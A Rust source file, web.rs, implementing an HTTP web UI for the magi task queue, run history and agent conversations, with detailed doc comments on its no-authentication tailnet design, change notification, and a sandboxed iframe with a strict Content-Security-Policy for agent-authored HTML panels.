Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
135pub const DEFAULT_PORT: u16 = 7878;
136
137/// How often the change stream restats the queue and the runs directory.
138const POLL: Duration = Duration::from_secs(1);
139
140/// Keep-alive interval for the change stream. Phones and intermediaries drop
141/// an idle connection within a minute; a comment every fifteen seconds keeps
142/// the stream alive without waking the radio often enough to matter.
143const KEEPALIVE: Duration = Duration::from_secs(15);
144
145/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
146///
147/// A fixed period this long would not track a `[update] interval` shorter
148/// than itself: an operator who set `interval = "1m"` to make the deck
149/// notice a release within a minute would still wait up to fifteen of them
150/// for the next wake-up to even ask [`updater::Checker::should_check`].
151/// [`recheck_poll_period`] scales the sleep with the configured interval
152/// instead, and this is only its ceiling - reached at the default interval
153/// of a day, where waking any more often would just spend cycles asking a
154/// question that stays "no" for hours.
155const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157/// Floor on the same, so a very short `[update] interval` cannot spin
158/// [`run_update_recheck`] in a near-busy loop.
159const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161/// Runs returned when the client does not ask, and the ceiling if it asks for
162/// more. The cap exists because the list handler parses every `run.json` it
163/// returns, and a phone cannot render two thousand rows anyway.
164const LIST_DEFAULT: usize = 50;
165/// Upper bound for `?limit=`.
166const LIST_MAX: usize = 500;
167
168/// Width of a generated task title, matching what the CLI uses.
169const TITLE_MAX: usize = 72;
170
171/// Per-file cap for an attachment upload.
172///
173/// Enforced twice: axum's own body limit is raised one byte above this, only
174/// on the two attachment `POST` routes (see the router - every other route
175/// keeps the crate-wide default), so an oversize body is still read far
176/// enough to answer with our own message below rather than axum's generic
177/// one; this constant is what that message and the boundary check actually
178/// compare against.
179const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181/// The image types an attachment upload accepts - a closed whitelist, the
182/// same posture [`asset_content_type`] takes for panel assets and for the
183/// same reason: SVG is excluded on purpose because it is active content
184/// (it may carry `<script>`) and not merely a picture, so it never appears
185/// here even though `image/svg+xml` is a real IANA type.
186const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188/// Header carrying the operator's own filename. Free text, stored only for
189/// display - see [`talk::Attachment::name`]'s doc on why it never
190/// contributes to a path.
191const FILENAME_HEADER: &str = "x-filename";
192
193/// The header that makes serving agent-authored HTML defensible, sent by both
194/// panel routes and asserted verbatim by a test.
195///
196/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
197/// denies every fetch destination that is not re-allowed below, which is all of
198/// them except images and fonts; `img-src 'self' data:` means an image comes
199/// from magi's own asset route or from the document itself, so a panel cannot
200/// signal an outside server by pointing an `<img>` at it - the classic
201/// exfiltration channel for markup that cannot run script. `style-src
202/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
203/// free formatting means here and a style sheet cannot make a request that
204/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
205/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
206/// stops a form posting the owner's decision to a third party, and
207/// `frame-ancestors 'self'` stops another site framing the panel to phish with
208/// it.
209///
210/// There is deliberately no `script-src`: `default-src 'none'` already covers
211/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
212/// denied twice over. Weakening any directive here is the difference between a
213/// panel the owner reads and a page that can talk to the tailnet, which is why
214/// the test compares the whole string rather than looking for a substring.
215const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216                         font-src data:; base-uri 'none'; form-action 'none'; \
217                         frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223/// Which address to listen on.
224#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226    /// Ask Tailscale, and fall back to loopback with a warning.
227    Auto,
228    /// An address the operator named.
229    Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233    type Err = String;
234
235    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
236    /// the CLI can take `--bind` straight into it: the one spelling of
237    /// `auto` that matters is the one this function knows.
238    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239        if s.eq_ignore_ascii_case("auto") {
240            return Ok(Self::Auto);
241        }
242        s.parse()
243            .map(Self::Addr)
244            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245    }
246}
247
248impl std::fmt::Display for Bind {
249    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250        match self {
251            Self::Auto => f.write_str("auto"),
252            Self::Addr(addr) => write!(f, "{addr}"),
253        }
254    }
255}
256
257/// How to serve.
258#[derive(Debug, Clone)]
259pub struct Opts {
260    /// Address to listen on.
261    pub bind: Bind,
262    /// Port to listen on.
263    pub port: u16,
264    /// Repository used for tasks posted without one.
265    pub repo: PathBuf,
266    /// Print the URL on its own line for a caller that wants to hand it to a
267    /// browser. magi never launches one itself.
268    pub open: bool,
269    /// Merge mode override for the loop this process runs (`none`, `local`,
270    /// `pr`); `None` leaves it to each repository's own config.
271    ///
272    /// The same override `magi serve --merge` takes, and here for the same
273    /// reason: `magi web` is now the thing that runs the loop, so an operator
274    /// who wants this session's runs to open pull requests has to be able to
275    /// say so without going back to the command they no longer type.
276    pub merge: Option<String>,
277}
278
279impl Default for Opts {
280    fn default() -> Self {
281        Self {
282            bind: Bind::Auto,
283            port: DEFAULT_PORT,
284            repo: PathBuf::from("."),
285            open: false,
286            merge: None,
287        }
288    }
289}
290
291mod id_links;
292
293type Stamps = HashMap<String, (u128, u64)>;
294
295/// Metadata only: no task instructions or conversation bodies are read here.
296fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
297    try_store_stamps(root, runs).unwrap_or_default()
298}
299
300fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
301    try_stamps(root, runs, false)
302}
303
304fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
305    use std::hash::{Hash as _, Hasher as _};
306    let entries = match std::fs::read_dir(root) {
307        Ok(entries) => entries,
308        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
309        Err(e) => return Err(e),
310    };
311    let mut stamps = HashMap::new();
312    for entry in entries {
313        let entry = entry?;
314        let path = if runs {
315            entry.path().join("run.json")
316        } else {
317            entry.path()
318        };
319        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
320            continue;
321        }
322        let identity = match file_identity(&path) {
323            Ok(identity) => identity,
324            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
325            Err(e) => return Err(e),
326        };
327        let modified = identity
328            .modified
329            .duration_since(std::time::UNIX_EPOCH)
330            .unwrap_or_default();
331        let mut hasher = std::hash::DefaultHasher::new();
332        identity.hash(&mut hasher);
333        let id = if runs || all_entries {
334            entry.file_name().to_string_lossy().into_owned()
335        } else {
336            path.file_stem()
337                .unwrap_or_default()
338                .to_string_lossy()
339                .into_owned()
340        };
341        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
342    }
343    Ok(stamps)
344}
345
346#[derive(Debug, Serialize)]
347struct Delta {
348    base: u64,
349    changed: Vec<String>,
350    removed: Vec<String>,
351}
352
353fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
354    let mut changed: Vec<_> = next
355        .iter()
356        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
357        .map(|(id, _)| id.clone())
358        .collect();
359    let mut removed: Vec<_> = previous
360        .keys()
361        .filter(|id| !next.contains_key(*id))
362        .cloned()
363        .collect();
364    changed.sort_unstable();
365    removed.sort_unstable();
366    Delta {
367        base,
368        changed,
369        removed,
370    }
371}
372
373/// Change detection token for recorded runs under `runs`.
374#[cfg(test)]
375fn runs_revision(runs: &FsPath) -> u64 {
376    stamps_revision(&store_stamps(runs, true))
377}
378
379/// Opaque tokens use the exact metadata snapshot behind the delta, in both
380/// health and SSE. Nanoseconds and length also detect same-millisecond writes
381/// and deleting an older conversation (a newest-mtime token cannot do that).
382fn stamps_revision(stamps: &Stamps) -> u64 {
383    use std::hash::{Hash as _, Hasher as _};
384    if stamps.is_empty() {
385        return 0;
386    }
387    let mut entries: Vec<_> = stamps.iter().collect();
388    entries.sort_unstable();
389    let mut hasher = std::hash::DefaultHasher::new();
390    entries.hash(&mut hasher);
391    hasher.finish().max(1)
392}
393
394#[derive(Clone, Debug)]
395pub(crate) struct ChangeNotification {
396    pub payload: serde_json::Value,
397}
398
399#[derive(Default, Debug)]
400pub(crate) struct QueueIndex {
401    // Retain parsed records only while their file identity is unchanged.
402    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
403    #[cfg(test)]
404    reparsed: usize,
405}
406
407#[derive(Clone, Debug)]
408struct TaskRelation {
409    id: String,
410    status: Option<crate::queue::TaskStatus>,
411    priority: i32,
412    runs: Vec<String>,
413    source: Source,
414}
415
416impl From<Task> for TaskRelation {
417    fn from(task: Task) -> Self {
418        Self {
419            id: task.id,
420            status: Some(task.status),
421            priority: task.priority,
422            runs: task.runs,
423            source: task.source,
424        }
425    }
426}
427
428#[derive(Debug, PartialEq, Eq, Hash)]
429struct FileIdentity {
430    modified: std::time::SystemTime,
431    len: u64,
432    #[cfg(unix)]
433    identity: (u64, u64, i64, i64),
434}
435
436fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
437    let meta = path.metadata()?;
438    Ok(FileIdentity {
439        modified: meta.modified()?,
440        len: meta.len(),
441        #[cfg(unix)]
442        identity: {
443            use std::os::unix::fs::MetadataExt as _;
444            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
445        },
446    })
447}
448
449type Revisions = (u64, u64, u64, u64, u64, u64);
450type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
451
452#[derive(Debug)]
453pub(crate) struct SharedMonitor {
454    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
455    pub latest: Arc<Mutex<MonitorSnapshot>>,
456    pub worker_started: std::sync::atomic::AtomicBool,
457    pub queue_index: Arc<Mutex<QueueIndex>>,
458    list_walks: Mutex<Vec<ListWalk>>,
459}
460
461/// Keep a failed store's last observation without suppressing healthy stores.
462fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
463    let (mut rev, mut stamps) = previous.unwrap_or_default();
464    for (index, root, runs) in [
465        (0, ui.queue.root(), false),
466        (1, ui.runs.as_path(), true),
467        (2, ui.talks.root(), false),
468    ] {
469        if let Ok(next) = try_store_stamps(root, runs) {
470            let value = stamps_revision(&next);
471            match index {
472                0 => rev.0 = value,
473                1 => rev.1 = value,
474                _ => rev.3 = value,
475            }
476            stamps[index] = next;
477        }
478    }
479    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
480        rev.2 = stamps_revision(&next);
481    }
482    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
483        rev.4 = stamps_revision(&next);
484    }
485    rev.5 = ui.lock_loop().rev;
486    (rev, stamps)
487}
488
489impl SharedMonitor {
490    pub fn new() -> Self {
491        let (tx, _) = tokio::sync::broadcast::channel(64);
492        Self {
493            broadcaster: tx,
494            latest: Arc::default(),
495            worker_started: std::sync::atomic::AtomicBool::new(false),
496            queue_index: Arc::default(),
497            list_walks: Mutex::default(),
498        }
499    }
500
501    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
502        let mut receiver = self.broadcaster.subscribe();
503        self.ensure_worker(ui);
504        loop {
505            if let Some((revisions, _)) = self
506                .latest
507                .lock()
508                .unwrap_or_else(PoisonError::into_inner)
509                .as_ref()
510            {
511                return Ok(*revisions);
512            }
513            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
514                .await
515                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
516                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
517        }
518    }
519
520    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
521        if self
522            .worker_started
523            .compare_exchange(
524                false,
525                true,
526                std::sync::atomic::Ordering::SeqCst,
527                std::sync::atomic::Ordering::SeqCst,
528            )
529            .is_err()
530        {
531            return;
532        }
533
534        let weak_ui = Arc::downgrade(ui);
535        tokio::spawn(async move {
536            let mut ticker = tokio::time::interval(POLL);
537            loop {
538                ticker.tick().await;
539                let Some(ui) = weak_ui.upgrade() else {
540                    break;
541                };
542
543                let previous = ui
544                    .monitor
545                    .latest
546                    .lock()
547                    .unwrap_or_else(PoisonError::into_inner)
548                    .clone();
549                let state = Arc::clone(&ui);
550                let scan =
551                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
552
553                // A slow filesystem must not turn missed ticks into a busy loop.
554                ticker.reset();
555                let Ok((revisions, next_stamps)) = scan else {
556                    continue;
557                };
558
559                let mut latest_guard = match ui.monitor.latest.lock() {
560                    Ok(g) => g,
561                    Err(p) => p.into_inner(),
562                };
563
564                let previous = latest_guard.take();
565                let (last_rev, prev_stamps) = match previous {
566                    Some((r, s)) => (Some(r), Some(s)),
567                    None => (None, None),
568                };
569
570                if last_rev == Some(revisions) {
571                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
572                    continue;
573                }
574
575                let mut payload = serde_json::json!({
576                    "queue_rev": revisions.0,
577                    "runs_rev": revisions.1,
578                    "questions_rev": revisions.2,
579                    "talks_rev": revisions.3,
580                    "notifications_rev": revisions.4,
581                    "loop_rev": revisions.5,
582                });
583
584                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
585                    for (index, (key, rev)) in [
586                        ("queue_delta", base.0),
587                        ("runs_delta", base.1),
588                        ("talks_delta", base.3),
589                    ]
590                    .into_iter()
591                    .enumerate()
592                    {
593                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
594                        if delta.changed.len() + delta.removed.len() > 0
595                            && delta.changed.len() <= 50
596                        {
597                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
598                        }
599                    }
600                }
601
602                *latest_guard = Some((revisions, next_stamps));
603                drop(latest_guard);
604
605                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
606            }
607        });
608    }
609}
610
611/// Everything the handlers touch.
612///
613/// The queue, the runs directory and the magi home are fields rather than
614/// process-global lookups so a test drives the real router against a temp
615/// directory instead of the operator's own history.
616#[derive(Debug, Clone)]
617pub struct Ui {
618    queue: Queue,
619    questions: Questions,
620    /// `<home>/notifications`, the bell's own store. Derived from `home` in
621    /// [`Ui::new`] so no constructor signature had to grow.
622    notices: Notices,
623    talks: Talks,
624    runs: PathBuf,
625    references: Arc<id_links::IndexCache>,
626    home: PathBuf,
627    repo: PathBuf,
628    /// Where the runs' worktrees live, for the health disk figures.
629    ///
630    /// Spelled independently of [`crate::run::default_worktree_root`] so the
631    /// test servers can point it at their own temp directory: the health route
632    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
633    /// be measuring the machine instead of the server.
634    worktrees_root: PathBuf,
635    /// Talks with an agent turn in flight right now.
636    ///
637    /// In-process and therefore not durable, which is correct: it guards
638    /// against two taps on one phone and two phones on one tailnet, both of
639    /// which are this process's own concurrency. A second `magi web` would not
640    /// see it, and a second `magi web` on the same home is already a
641    /// misconfiguration the queue's claims would catch first.
642    talk_turns: Arc<Mutex<TalkTurns>>,
643    /// Held by `POST /api/upgrade` from its busy-stage check until the first
644    /// progress record is written, so two taps cannot both start an upgrade.
645    /// After that `upgrade.json` carries the exclusion.
646    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
647    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
648    /// exclusion in memory for when `upgrade.json` could not be written.
649    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
650    /// Request failures before progress exists; never overwrite upgrade.json.
651    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
652    /// Runs this process is resuming right now.
653    ///
654    /// Separate from `talk_turns` because a run and a talk are different
655    /// things to hold, and a resume is far more expensive to start twice: it
656    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
657    /// guards two taps and two phones, which is this process's own
658    /// concurrency.
659    resuming: Arc<Mutex<HashSet<String>>>,
660    /// The last scan of `[repos] roots`, and when it happened. Shared across
661    /// requests so polling `GET /api/repos` repeatedly does not repeat the
662    /// filesystem walk every time - see [`repos::Cache`].
663    repos_cache: repos::Cache,
664    /// The machine-config file the settings screen reads and writes: always
665    /// [`Config::machine_layer`], never anything a request names. A field so a
666    /// test can point it at its own temp directory instead of the operator's.
667    machine_config: Option<PathBuf>,
668    /// Merge mode override handed to the loop this process starts.
669    merge: Option<String>,
670    /// The loop this process is running, if it is running one.
671    looping: Arc<Mutex<LoopState>>,
672    /// How a loop is actually started.
673    ///
674    /// A field rather than a direct call to [`daemon::serve_until`], because
675    /// the real loop resolves its queue and its status file through the
676    /// process-global magi home and claims whatever it finds there. A test
677    /// that started it would reach straight past its own temp directory into
678    /// the operator's live queue, overwrite the status file of the `magi
679    /// serve` that owns it, and spend real agent quota on a real competition.
680    /// What the routes have to get right is the bookkeeping, so the tests
681    /// drive the routes against a loop that only starts and stops; production
682    /// is [`launch_daemon`] and nothing reassigns it.
683    launch: Launch,
684    /// A test-only stop point inside `talk_say`'s busy branch. See
685    /// [`BusyQueueGate`].
686    #[cfg(test)]
687    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
688    pub(crate) monitor: Arc<SharedMonitor>,
689}
690
691/// A one-shot stop point the busy branch's queued-draft write can be made to
692/// pause at, right before [`talk::queue`] runs.
693///
694/// Exists because a test cannot otherwise pin *when*, relative to the turn
695/// slot being freed, that write happens: `blocking` runs it on
696/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
697/// already finished, so counting polls on the handler future to park it at a
698/// particular `.await` is a guess about scheduling, not a fact about it - see
699/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
700/// used to do exactly that and paid for it with an occasional "async fn
701/// resumed after completion" panic under load.
702///
703/// `reached` fires the instant the write is about to run, so a test waits for
704/// a real event instead of a poll count. `release` then blocks the write
705/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
706/// rather than an async channel because this all happens inside the
707/// `spawn_blocking` closure the write already runs on, off any runtime
708/// worker, so blocking here costs nothing the write was not already going to
709/// cost.
710#[cfg(test)]
711struct BusyQueueGate {
712    reached: tokio::sync::oneshot::Sender<()>,
713    release: std::sync::mpsc::Receiver<()>,
714}
715
716#[cfg(test)]
717impl std::fmt::Debug for BusyQueueGate {
718    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
719        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
720    }
721}
722
723impl Ui {
724    /// A server over explicit paths.
725    pub fn new(
726        queue: Queue,
727        questions: Questions,
728        talks: Talks,
729        runs: PathBuf,
730        home: PathBuf,
731        repo: PathBuf,
732    ) -> Self {
733        Self {
734            queue,
735            questions,
736            notices: Notices::at(home.join("notifications")),
737            talks,
738            runs,
739            references: Arc::default(),
740            home,
741            repo,
742            // The default location, overridden by `with_worktrees_root` - a
743            // builder step rather than a ninth parameter, for the reason
744            // `with_merge` gives.
745            worktrees_root: run::default_worktree_root(),
746            talk_turns: Arc::default(),
747            upgrade_gate: Arc::default(),
748            upgrade_spawned: Arc::default(),
749            upgrade_request_error: Arc::default(),
750            resuming: Arc::default(),
751            repos_cache: repos::Cache::new(),
752            machine_config: Config::machine_layer(),
753            merge: None,
754            looping: Arc::default(),
755            launch: launch_daemon,
756            #[cfg(test)]
757            busy_queue_gate: Arc::default(),
758            monitor: Arc::new(SharedMonitor::new()),
759        }
760    }
761
762    /// Refresh metadata on every lookup, including external-process writes. Only
763    /// changed records are parsed. Never publish a partial scan as an empty set.
764    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
765        let mut index = self
766            .monitor
767            .queue_index
768            .lock()
769            .unwrap_or_else(PoisonError::into_inner);
770        let entries = match std::fs::read_dir(self.queue.root()) {
771            Ok(entries) => entries,
772            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
773                index.records.clear();
774                return Ok(Vec::new());
775            }
776            Err(e) => return Err(anyhow::Error::from(e).into()),
777        };
778        let mut seen = HashSet::new();
779        for entry in entries {
780            let path = entry.map_err(anyhow::Error::from)?.path();
781            if path.extension().is_none_or(|ext| ext != "json") {
782                continue;
783            }
784            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
785                continue;
786            };
787            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
788            seen.insert(id.to_owned());
789            // On platforms without inode/ctime, re-read rather than trust a
790            // same-size replacement with a preserved modification timestamp.
791            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
792                let Ok(task) = self.queue.get(id) else {
793                    // Isolate an unreadable record, as Queue::list does. Keep
794                    // its last known relationship so a lookup of THAT task
795                    // still fails on the authoritative read below. Never let
796                    // unrelated corruption disable every run and conversation.
797                    // Counts must not present its previous status as current.
798                    if let Some((_, record)) = index.records.get_mut(id) {
799                        Arc::make_mut(record).status = None;
800                    }
801                    continue;
802                };
803                #[cfg(test)]
804                {
805                    index.reparsed += 1;
806                }
807                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
808                    return Err(ApiError::conflict("Queue changed during read; retry"));
809                }
810                index
811                    .records
812                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
813            }
814        }
815        index.records.retain(|id, _| seen.contains(id));
816        let mut tasks: Vec<_> = index
817            .records
818            .values()
819            .map(|(_, task)| task.clone())
820            .collect();
821        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
822        Ok(tasks)
823    }
824
825    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
826        let Some(record) = self
827            .indexed_tasks()?
828            .into_iter()
829            .find(|task| task.runs.iter().any(|id| id == run_id))
830        else {
831            return Ok(None);
832        };
833        let task = self.queue.get(&record.id)?;
834        if !task.runs.iter().any(|id| id == run_id) {
835            return Err(ApiError::conflict("Task relationship changed; retry"));
836        }
837        Ok(Some(task))
838    }
839
840    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
841        self.indexed_tasks()?
842            .into_iter()
843            .filter(|task| matches!(&task.source, Source::Agent { run, .. } if run == talk_id))
844            .map(|record| {
845                let task = self.queue.get(&record.id)?;
846                if !matches!(&task.source, Source::Agent { run, .. } if run == talk_id) {
847                    return Err(ApiError::conflict("Task relationship changed; retry"));
848                }
849                Ok(task)
850            })
851            .collect()
852    }
853
854    /// The operator's own state: `<home>/queue`, `<home>/questions`,
855    /// `<home>/talks`, `<home>/runs`.
856    pub fn open(repo: PathBuf) -> Self {
857        Self::new(
858            Queue::open(),
859            Questions::open(),
860            Talks::open(),
861            run::runs_root(),
862            run::home(),
863            repo,
864        )
865    }
866
867    /// The merge mode the loop should use, as the command line gave it.
868    ///
869    /// A builder step rather than a seventh parameter on [`Ui::new`], because
870    /// the override is a property of how this process was invoked and not of
871    /// where its state lives - which is all the tests that build a `Ui` by
872    /// hand are saying.
873    #[must_use]
874    pub fn with_merge(mut self, merge: Option<String>) -> Self {
875        self.merge = merge;
876        self
877    }
878
879    /// The machine-config file the settings screen writes, when it is not
880    /// [`Config::machine_layer`] (tests).
881    #[cfg(test)]
882    #[must_use]
883    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
884        self.machine_config = path;
885        self
886    }
887
888    /// Where the runs' worktrees live, when it is not the default.
889    ///
890    /// The health view sizes this directory, so a test that leaves it at the
891    /// default would be measuring the operator's own machine.
892    #[must_use]
893    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
894        self.worktrees_root = root;
895        self
896    }
897
898    /// Point the loop at something other than [`launch_daemon`].
899    ///
900    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
901    /// this crate may start the real loop.
902    #[cfg(test)]
903    #[must_use]
904    fn with_launch(mut self, launch: Launch) -> Self {
905        self.launch = launch;
906        self
907    }
908
909    /// Install a [`BusyQueueGate`] for the next pass through the busy
910    /// branch's queued-draft write, replacing any earlier one.
911    ///
912    /// A setter on `&self` rather than a `with_*` builder consumed once,
913    /// because a test that drives the busy branch more than once (as
914    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
915    /// to build confidence the interleaving is handled deterministically and
916    /// not just on a lucky run) needs a fresh channel pair each time, on the
917    /// one `Ui` it already built its temp directories around.
